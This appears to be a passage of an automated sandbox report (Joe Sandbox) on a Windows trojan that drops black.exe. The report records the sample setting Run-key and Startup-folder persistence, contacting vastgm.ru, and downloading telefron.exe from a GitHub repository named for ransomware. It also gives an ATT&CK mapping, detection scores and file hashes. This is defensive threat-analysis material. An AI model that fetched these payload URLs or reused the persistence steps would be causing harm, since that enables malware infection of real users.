Source: C:\Users\user\AppData\Roaming\black.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping vastgm.ru	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping vastgm.ru

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CA9E9D90 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,CopySid,SetEntriesInAclW,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateDirectoryW,LocalFree,

0_2_00007FF6CA9E9D90

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CA9DDC70 cpuid

0_2_00007FF6CA9DDC70

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_00007FF6CA9EA2CC

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Queries volume information: C:\Users\user\AppData\Roaming\black.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\black.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CA9F0754 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,CloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6CA9F0754

Source: C:\Users\user\Desktop\Y5kEUsYDFr.exe

Code function: 0_2_00007FF6CA9D4EB0 GetVersionExW,

0_2_00007FF6CA9D4EB0

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	121 Registry Run Keys / Startup Folder	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	2 Software Packing	Security Account Manager	35 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	121 Registry Run Keys / Startup Folder	1 Timestomp	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	341 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Y5kEUsYDFr.exe	47%	ReversingLabs	Win32.Exploit.Generic
Y5kEUsYDFr.exe	61%	Virustotal		Browse
Y5kEUsYDFr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe	100%	Avira	HEUR/AGEN.1310014
C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	100%	Avira	HEUR/AGEN.1310014
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe	100%	Avira	HEUR/AGEN.1310014
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RarSFX0\black.exe	34%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe	34%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Roaming\black.exe	34%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
vastgm.ru	0%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
github.com	20.233.83.145	true	false		high
vastgm.ru	185.178.208.190	true	true	0%, Virustotal, Browse	unknown
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://github.com/keygroup777-Ransomware/DOWNLOADER/raw/refs/heads/main/telefron.exe	false		high
https://github.com/keygroup777-Ransomware/DOWNLOADER/raw/refs/heads/main/telefron.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.23.dr	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	black.exe, 00000001.00000002.4147614822.0000000002521000.00000004.00000800.00020000.00000000.sdmp, black.exe, 00000007.00000002.4147454579.0000000002671000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com	black.exe, 00000001.00000002.4147614822.0000000002521000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
69.192.108.223	unknown	United States	16625	AKAMAI-ASUS	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.178.208.190	vastgm.ru	Russian Federation	57724	DDOS-GUARDRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571211
Start date and time:	2024-12-09 07:02:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Y5kEUsYDFr.exe renamed because original name is a hash value
Original Sample Name:	ec773998b0078cc58100fdb4d27dc3f4.exe
Detection:	MAL
Classification:	mal100.troj.adwa.evad.winEXE@42/41@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 206 Number of non-executed functions: 110
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.32.238.137, 23.32.238.128, 23.32.238.98, 23.32.238.106, 23.32.238.138, 23.32.238.113, 23.32.238.107, 23.32.238.123, 23.32.238.129, 162.159.61.3, 172.64.41.3, 23.32.238.155, 23.32.238.162, 2.19.198.49, 23.32.238.161, 23.32.238.131, 23.32.238.146, 2.19.198.43, 2.20.40.170, 23.218.208.137, 23.195.39.65, 50.16.47.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 23.32.238.122, 23.32.238.147, 23.32.238.153, 23.32.238.145, 23.32.238.115, 23.32.238.154, 2.16.188.171, 23.32.238.97, 23.32.238.112, 23.32.238.114, 23.32.238.99, 2.19.198.57, 2.19.198.41, 2.19.198.50, 2.19.198.58, 23.32.238.163, 2.19.198.40, 2.19.198.72, 23.32.238.160, 23.32.238.90, 23.32.238.96, 23.32.238.130, 2.19.198.73
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, e4578.dscb.akamaiedge.net, ctldl.windowsupdate.com, p13n.adobe.io, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, geo2.adobe.com, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:04:16	API Interceptor	3912x Sleep call for process: black.exe modified
01:05:11	API Interceptor	1x Sleep call for process: AcroCEF.exe modified
06:03:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run black C:\Users\user\AppData\Roaming\black.exe
06:03:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run black C:\Users\user\AppData\Roaming\black.exe
06:04:18	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\black.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
69.192.108.223	CMB Monaco Signatures Consent Docs#299229(Revised).pdf	Get hash	malicious	Unknown	Browse
	Quarantined Messages.zip	Get hash	malicious	Unknown	Browse
	Quotation.xls	Get hash	malicious	Unknown	Browse
	original (1).eml	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse
	https://qcg-media.s3.amazonaws.com/media/uploads/560701/2023/09/20230928_651070_htmlCode18.pdf	Get hash	malicious	Unknown	Browse
20.233.83.145	qe4efGS22G.exe	Get hash	malicious	Unknown	Browse
	qe4efGS22G.exe	Get hash	malicious	Unknown	Browse
	QlyOUFGIFB.exe	Get hash	malicious	MicroClip	Browse
	https://github.com/bambulab/BambuStudio/releases/download/v01.10.01.50/Bambu_Studio_win_public-v01.10.01.50-20241115162711.exe	Get hash	malicious	Unknown	Browse
	Cooperative Agreement0000800380.docx.exe	Get hash	malicious	Babadeda, Blank Grabber	Browse
	1.exe	Get hash	malicious	Havoc, RUSTDESK	Browse
	Ttok18.exe	Get hash	malicious	Vidar	Browse
	https://github.com/kernelwernel/VMAware/releases/download/v1.9/vmaware64.exe	Get hash	malicious	Unknown	Browse
	SplpM1fFkV.exe	Get hash	malicious	Unknown	Browse
	TikTokDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse
185.178.208.190	9oUx9PzdSA.exe	Get hash	malicious	Cyberduck Djvu SmokeLoader Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
github.com	QlyOUFGIFB.exe	Get hash	malicious	MicroClip	Browse	20.233.83.146
	Cooperative Agreement0000800380.docx.exe	Get hash	malicious	Babadeda, Blank Grabber	Browse	20.233.83.145
	1.exe	Get hash	malicious	Havoc, RUSTDESK	Browse	20.233.83.145
	Ttok18.exe	Get hash	malicious	Vidar	Browse	20.233.83.145
	https://github.com/kernelwernel/VMAware/releases/download/v1.9/vmaware64.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	SplpM1fFkV.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	PO24002292.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	140.82.121.4
	TikTokDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	20.233.83.145
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	20.233.83.145
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	20.233.83.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DDOS-GUARDRU	https://u.to/Ipn6IA	Get hash	malicious	Unknown	Browse	195.216.243.155
	https://u.to/YaL0IA	Get hash	malicious	Unknown	Browse	195.216.243.155
	http://cancelarpedidoaqui003.weebly.com/	Get hash	malicious	Unknown	Browse	195.216.243.218
	https://u.to/1czkIA	Get hash	malicious	Unknown	Browse	195.216.243.155
	https://u.to/xjPiIA	Get hash	malicious	Unknown	Browse	195.216.243.155
	https://u.to/G3PhIA	Get hash	malicious	Unknown	Browse	195.216.243.155
	https://u.to/UKDgIA	Get hash	malicious	Unknown	Browse	195.216.243.155
	https://sucursalvpinvalidar-aqui10.weebly.com/	Get hash	malicious	Unknown	Browse	195.216.243.218
	https://u.to/W9rXIA	Get hash	malicious	Unknown	Browse	195.216.243.155
	https://u.to/SpzbIA	Get hash	malicious	Unknown	Browse	195.216.243.155
AKAMAI-ASUS	sora.ppc.elf	Get hash	malicious	Mirai	Browse	84.53.135.142
	sora.mips.elf	Get hash	malicious	Mirai	Browse	104.84.160.234
	zZeXr4mg0S.exe	Get hash	malicious	Lokibot	Browse	23.47.168.24
	meerkat.mpsl.elf	Get hash	malicious	Mirai	Browse	104.116.11.255
	meerkat.arm5.elf	Get hash	malicious	Mirai	Browse	95.101.212.58
	meerkat.x86.elf	Get hash	malicious	Mirai	Browse	104.119.28.3
	5386.pdf.exe	Get hash	malicious	Unknown	Browse	23.195.92.153
	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	23.50.229.212
	home.m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	23.213.140.193
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	23.33.113.246
MICROSOFT-CORP-MSN-AS-BLOCKUS	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	52.123.243.181
	6fW0GedR6j.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	52.113.195.132
	Transferencia.lnk	Get hash	malicious	XenoRAT	Browse	52.113.195.132
	jew.arm6.elf	Get hash	malicious	Unknown	Browse	23.102.19.194
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	20.201.109.244
	jew.mips.elf	Get hash	malicious	Unknown	Browse	20.157.99.220
	jew.ppc.elf	Get hash	malicious	Unknown	Browse	20.181.37.3
	jew.sh4.elf	Get hash	malicious	Unknown	Browse	159.27.209.232
	jew.mpsl.elf	Get hash	malicious	Unknown	Browse	13.71.38.171

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	20.233.83.145
	SIPARIS TEYIT FORMU VE PROFORMA FATURA.exe	Get hash	malicious	MassLogger RAT	Browse	20.233.83.145
	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	20.233.83.145
	BL-100410364195.exe	Get hash	malicious	MassLogger RAT	Browse	20.233.83.145
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.233.83.145
	Bank Swift and SOA PRN00720031415453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.233.83.145
	RFQ Order list #2667747.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.233.83.145
	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.233.83.145
	IBAN Payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.233.83.145
	DEKONTU.exe	Get hash	malicious	Snake Keylogger	Browse	20.233.83.145

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.158849390404121
Encrypted:	false
SSDEEP:	6:juRcq2Pwkn2nKuAl9OmbnIFUt8WuRfXZmw+WuRfFkwOwkn2nKuAl9OmbjLJ:ju+vYfHAahFUt8WupX/+WupF5JfHAaSJ
MD5:	24820C395FDB62B7FA224ADFFF0CD1A1
SHA1:	B68ED3162860A4385EBCDBD94E13E0B6924E1748
SHA-256:	2A71D9DC773CEDD2C42500CF91DB73DBDCB27A56263B39A1BE4BFAE3DD33CB72
SHA-512:	2DDD89849084CDD2B60DB27988974C51E848D9605AE45F762A293A24A20362B665103D59C110358A4931877D30EE6C5DC13BB76868E01ECB12F836538C629E80
Malicious:	false
Preview:	2024/12/09-01:04:43.117 cd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/09-01:04:43.119 cd4 Recovering log #3.2024/12/09-01:04:43.119 cd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.158849390404121
Encrypted:	false
SSDEEP:	6:juRcq2Pwkn2nKuAl9OmbnIFUt8WuRfXZmw+WuRfFkwOwkn2nKuAl9OmbjLJ:ju+vYfHAahFUt8WupX/+WupF5JfHAaSJ
MD5:	24820C395FDB62B7FA224ADFFF0CD1A1
SHA1:	B68ED3162860A4385EBCDBD94E13E0B6924E1748
SHA-256:	2A71D9DC773CEDD2C42500CF91DB73DBDCB27A56263B39A1BE4BFAE3DD33CB72
SHA-512:	2DDD89849084CDD2B60DB27988974C51E848D9605AE45F762A293A24A20362B665103D59C110358A4931877D30EE6C5DC13BB76868E01ECB12F836538C629E80
Malicious:	false
Preview:	2024/12/09-01:04:43.117 cd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/09-01:04:43.119 cd4 Recovering log #3.2024/12/09-01:04:43.119 cd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.163052101733533
Encrypted:	false
SSDEEP:	6:ju+q2Pwkn2nKuAl9Ombzo2jMGIFUt8WuJKXZmw+WuZFzkwOwkn2nKuAl9Ombzo23:ju+vYfHAa8uFUt8WuJ6/+Wun5JfHAa8z
MD5:	47F56480CBC018B56B319005ADAF033A
SHA1:	E3B3620E073FB4EED636EADDE4B886998AB13277
SHA-256:	5542A9B8BE4C4733440F71CE7EB23029663685BC353B263A5F6A83A87FCFE453
SHA-512:	E1FAA0BCEB6D79E22393F526642E94CF63B597CC93DB0E1FFCD542F63622CFD1ED8F29A8F69EEF5E2CA7A01B21BCE3424AD170F03BB0FA1D2EB6AF6A0AF0E4E4
Malicious:	false
Preview:	2024/12/09-01:04:43.801 6c4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/09-01:04:43.802 6c4 Recovering log #3.2024/12/09-01:04:43.803 6c4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.163052101733533
Encrypted:	false
SSDEEP:	6:ju+q2Pwkn2nKuAl9Ombzo2jMGIFUt8WuJKXZmw+WuZFzkwOwkn2nKuAl9Ombzo23:ju+vYfHAa8uFUt8WuJ6/+Wun5JfHAa8z
MD5:	47F56480CBC018B56B319005ADAF033A
SHA1:	E3B3620E073FB4EED636EADDE4B886998AB13277
SHA-256:	5542A9B8BE4C4733440F71CE7EB23029663685BC353B263A5F6A83A87FCFE453
SHA-512:	E1FAA0BCEB6D79E22393F526642E94CF63B597CC93DB0E1FFCD542F63622CFD1ED8F29A8F69EEF5E2CA7A01B21BCE3424AD170F03BB0FA1D2EB6AF6A0AF0E4E4
Malicious:	false
Preview:	2024/12/09-01:04:43.801 6c4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/09-01:04:43.802 6c4 Recovering log #3.2024/12/09-01:04:43.803 6c4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6d2e70.TMP (copy)

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d1e8fdc2-5a27-4dd7-955d-2c2d0c2005af.tmp

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	546
Entropy (8bit):	4.949867576032391
Encrypted:	false
SSDEEP:	12:YHgLdvI1oqBWsB6um3RA8sqJ2gsBd2caq3QH7E4TX:YALtIPB7JsRdsZdJ3QH7n7
MD5:	624EA1F42B72404E6A5BD12EA495EA67
SHA1:	F3C694F276938BF5C9830C4C1F0616E3404BDAED
SHA-256:	217F03962EB39AB353704367748A38B1B15B84CF4A8DA17685D98F9A0F0130EA
SHA-512:	C316787F369603F9260930B30E159FB8ADC19F60C1ABE24C8C2182C685A93BC540131B48D4F9C108E7886424B4373E75FC16B972607AC76AE7B2A17F02333E0E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"broken_alternative_services":[{"broken_count":2,"broken_until":"1733724610","host":"chrome.cloudflare-dns.com","isolation":[],"port":443,"protocol_str":"quic"}],"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378284312710911","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dcddf736-09ed-4644-94da-a6ed343af90a.tmp

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
